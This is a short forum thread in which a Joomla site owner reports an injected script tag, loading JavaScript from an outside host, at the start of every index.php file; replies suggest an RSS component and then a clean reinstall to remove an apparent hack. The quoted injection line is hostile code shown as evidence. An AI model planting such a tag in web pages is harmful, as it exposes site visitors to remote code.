Problem in getting RSS feed url of Joomla site

I was unable to copy the rss feed url of my joomla site from the rss feed icon in the browser. When i tried to find the problem i found some alien script in all the index files like this

<script type="text/javascript" src="http://marywallace.ie/adv.php"></script>

Every index.php file has above kind of script in the beginning of the actual php code.

Please help to find out the cause of this problem and a solution.

Thanks

Whats your problem ?
You need the RSS feed URL for the site ?

 

Try installing NinjaRSS from ninjaforge. It is a good RSS component for Joomla and free too.

 

Sounds like your site might have been hacked. upload all the files for your J version again and check the difference. If it is gone proceed with a clean up.
